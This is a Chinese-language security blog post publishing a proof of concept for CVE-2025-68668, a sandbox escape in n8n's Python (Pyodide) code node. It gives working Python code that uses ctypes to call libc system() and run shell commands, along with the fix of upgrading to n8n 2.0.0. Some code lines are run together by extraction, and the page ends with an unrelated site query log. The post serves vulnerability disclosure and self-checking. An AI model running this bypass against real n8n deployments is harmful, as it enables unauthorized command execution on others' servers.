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【首发POC】n8n Python代码节点沙箱绕过导致系统命令执行 (CVE-2025-68668)

  • 2026-01-11 04:02:15
【首发POC】n8n Python代码节点沙箱绕过导致系统命令执行 (CVE-2025-68668)

前言

今天各家都通报了CVE-2025-68668 n8n Python代码节点沙箱绕过导致系统命令执行漏洞,但没有poc,特有此文,文中poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与本公众号无关。

漏洞概述

n8n 是一款开源的可视化工作流自动化平台,广泛应用于企业自动化、数据处理和 DevOps 场景。平台采用节点式设计,支持用户通过拖拽组件构建业务流程。受影响的 Python 代码节点允许用户在工作流中执行自定义代码。该节点基于 Pyodide 技术,为代码执行提供安全的沙箱隔离环境。作为一款主流自动化工具,n8n 拥有广泛的用户基础。

漏洞原理

n8n 的 Python (Pyodide) 模式配置了黑名单,在packages/nodes-base/nodes/Code/Pyodide.ts中:

img

如果执行这样的代码:

import osos.system('ls'

是会被阻止的:

image-20260104161503537

但黑名单中并未阻止ctypes库, ctypes 是 Python 的 FFI 库,允许 Python 代码直接调用 C 函数,他的libc有system(), fork(), execl()等函数可用,测试的时候fork(), execl()被拦截了,system()能用,于是我们可以构造出一个使用ctypes去执行系统命令的poc:

import ctypeslibc = ctypes.CDLL(Nonelibc.system(b'ls')

本地环境验证:

import ctypesimport oslibc = ctypes.CDLL(None)libc.system.argtypes = [ctypes.c_char_p]libc.system.restype = ctypes.c_intresult = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')return {"vulnerability""SUCCESS"}
image-20260104162123099

修复方法立即升级到n8n 2.0.0或更高版本

复现环境已在无境中上架:vip.bdziyi.com/ulab,无境,英文名Unbounded Lab,是专为网络安全学习者打造的综合性实战平台,提供真实企业级漏洞环境,让您在安全的环境中提升实战技能,核心特色:独立隔离环境,每位用户都拥有完全独立的靶场环境,即使是庞大的内网靶场,环境之间也是零干扰,确保您的学习过程不受任何影响。

image-20260104182631157
image-20260104183035709

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  1. CONNECT:[ UseTime:0.000613s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000701s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.004992s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.003672s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000508s ]
  6. SELECT * FROM `set` [ RunTime:0.003676s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000735s ]
  8. SELECT * FROM `article` WHERE `id` = 459871 LIMIT 1 [ RunTime:0.005937s ]
  9. UPDATE `article` SET `lasttime` = 1770581186 WHERE `id` = 459871 [ RunTime:0.007032s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 66 LIMIT 1 [ RunTime:0.000454s ]
  11. SELECT * FROM `article` WHERE `id` < 459871 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000498s ]
  12. SELECT * FROM `article` WHERE `id` > 459871 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.003228s ]
  13. SELECT * FROM `article` WHERE `id` < 459871 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.015895s ]
  14. SELECT * FROM `article` WHERE `id` < 459871 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.033834s ]
  15. SELECT * FROM `article` WHERE `id` < 459871 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.021964s ]
0.172574s